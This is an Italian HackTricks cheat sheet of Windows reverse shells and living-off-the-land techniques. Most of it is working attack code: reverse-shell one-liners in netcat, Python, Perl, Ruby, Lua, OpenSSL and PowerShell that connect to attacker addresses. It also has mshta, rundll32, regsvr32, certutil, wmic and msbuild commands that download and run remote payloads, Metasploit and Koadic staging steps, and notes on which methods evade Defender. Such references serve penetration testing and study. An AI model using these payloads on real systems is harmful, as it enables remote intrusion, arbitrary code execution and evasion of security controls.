22 KiB
Shells - Windows
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Lolbas
La pagina lolbas-project.github.io è per Windows come https://gtfobins.github.io/ è per linux.
Ovviamente, non ci sono file SUID o privilegi sudo in Windows, ma è utile sapere come alcuni binari possono essere (ab)usati per eseguire alcuni tipi di azioni inaspettate come eseguire codice arbitrario.
NC
nc.exe -e cmd.exe <Attacker_IP> <PORT>
SBD
sbd è un'alternativa portatile e sicura a Netcat. Funziona su sistemi simili a Unix e Win32. Con funzionalità come crittografia forte, esecuzione di programmi, porte di origine personalizzabili e riconnessione continua, sbd fornisce una soluzione versatile per la comunicazione TCP/IP. Per gli utenti di Windows, la versione sbd.exe della distribuzione Kali Linux può essere utilizzata come affidabile sostituto di Netcat.
# Victims machine
sbd -l -p 4444 -e bash -v -n
listening on port 4444
# Atackers
sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
Python
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
Perl
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Ruby
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Lua
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
OpenSSH
Attaccante (Kali)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
Vittima
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
Powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
Process che esegue la chiamata di rete: powershell.exe
Payload scritto su disco: NO (almeno da nessuna parte che potessi trovare usando procmon!)
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
Process che effettua chiamata di rete: svchost.exe
Payload scritto su disco: cache locale del client WebDAV
Una riga:
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Ottieni ulteriori informazioni su diversi Shells di Powershell alla fine di questo documento
Mshta
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
mshta http://webserver/payload.hta
mshta \\webdavserver\folder\payload.hta
Esempio di shell inversa hta-psh (utilizza hta per scaricare ed eseguire il backdoor di PS)
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
È possibile scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager hta
Esempio hta
<html>
<head>
<HTA:APPLICATION ID="HelloExample">
<script language="jscript">
var c = "cmd.exe /c calc.exe";
new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>self.close();</script>
</body>
</html>
mshta - sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:C:\local\path\scriptlet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Mshta - Metasploit
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
Rilevato da Defender
Rundll32
rundll32 \\webdavserver\folder\payload.dll,entrypoint
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
Rilevato da defender
Rundll32 - sct
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
<scriptlet>
<public>
</public>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
Rundll32 - Metasploit
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
Rundll32 - Koadic
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
Regsvr32
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
Rilevato dal difensore
Regsvr32 -sct
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
<scriptlet>
<registration
progid="PoC"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
Regsvr32 - Metasploit
use multi/script/web_delivery
set target 3
set payload windows/meterpreter/reverse/tcp
set lhost 10.2.0.5
run
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
È possibile scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager regsvr
Certutil
Scarica un B64dll, decodificalo ed eseguilo.
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
Scarica un B64exe, decodificalo ed eseguilo.
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
Rilevato da Defender
Cscript/Wscript
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
Cscript - Metasploit
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
Rilevato da Defender
PS-Bat
\\webdavserver\folder\batchfile.bat
Process che effettua chiamata di rete: svchost.exe
Payload scritto su disco: cache locale del client WebDAV
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
\\10.8.0.3\kali\shell.bat
Rilevato dal difensore
MSIExec
Attaccante
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
Vittima:
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
Rilevato
Wmic
wmic os get /format:"https://webserver/payload.xsl"
Esempio di file xsl da qui:
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object Net.WebClient).DownloadString('http://10.2.0.5/shell.ps1') | powershell -noprofile -");
]]>
</ms:script>
</stylesheet>
Non rilevato
Puoi scaricare ed eseguire molto facilmente uno zombie Koadic utilizzando lo stager wmic
Msbuild
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
Puoi utilizzare questa tecnica per bypassare la lista bianca dell'applicazione e le restrizioni di Powershell.exe. Poiché ti verrà richiesto di inserire una shell di PS.
Basta scaricare questo ed eseguirlo: https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
Non rilevato
CSC
Compilare il codice C# nella macchina vittima.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
Puoi scaricare una shell inversa di base in C# da qui: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
Non rilevato
Regasm/Regsvc
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
Non l'ho provato
https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182
Odbcconf
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
Non l'ho provato
https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2
Shell di Powershell
PS-Nishang
https://github.com/samratashok/nishang
Nella cartella Shells, ci sono molti shell diversi. Per scaricare ed eseguire Invoke-PowerShellTcp.ps1 fare una copia dello script e aggiungere alla fine del file:
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
Inizia a servire lo script su un server web ed eseguilo sul computer della vittima:
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
Defender non lo rileva come codice maligno (ancora, 3/04/2019).
TODO: Controllare altre shell nishang
PS-Powercat
https://github.com/besimorhino/powercat
Scarica, avvia un server web, avvia il listener ed eseguilo sul computer della vittima:
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
Defender non lo rileva come codice dannoso (ancora, 3/04/2019).
Altre opzioni offerte da powercat:
Shell di bind, Shell inversa (TCP, UDP, DNS), Reindirizzamento di porta, upload/download, Generare payload, Servire file...
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Send a powershell:
powercat -c 10.1.1.1 -p 443 -ep
Send a powershell UDP:
powercat -c 10.1.1.1 -p 443 -ep -u
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep
Empire
https://github.com/EmpireProject/Empire
Crea un lanciatore powershell, salvatelo in un file e scaricalo ed eseguilo.
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
Rilevato come codice maligno
MSF-Unicorn
https://github.com/trustedsec/unicorn
Crea una versione in powershell della backdoor di metasploit utilizzando unicorn
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
Avvia msfconsole con la risorsa creata:
msfconsole -r unicorn.rc
Avvia un server web che serve il file powershell_attack.txt e esegui nella vittima:
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
Rilevato come codice maligno
Altro
PS>Attack console PS con alcuni moduli PS offensivi precaricati (cifrati)
https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9
WinPWN console PS con alcuni moduli PS offensivi e rilevamento proxy (IEX)
Riferimenti
- https://highon.coffee/blog/reverse-shell-cheat-sheet/
- https://gist.github.com/Arno0x
- https://github.com/GreatSCT/GreatSCT
- https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/
- https://www.hackingarticles.in/koadic-com-command-control-framework/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
- https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Impara e pratica l'hacking su AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'hacking su GCP: HackTricks Training GCP Red Team Expert (GRTE)
Sostieni HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.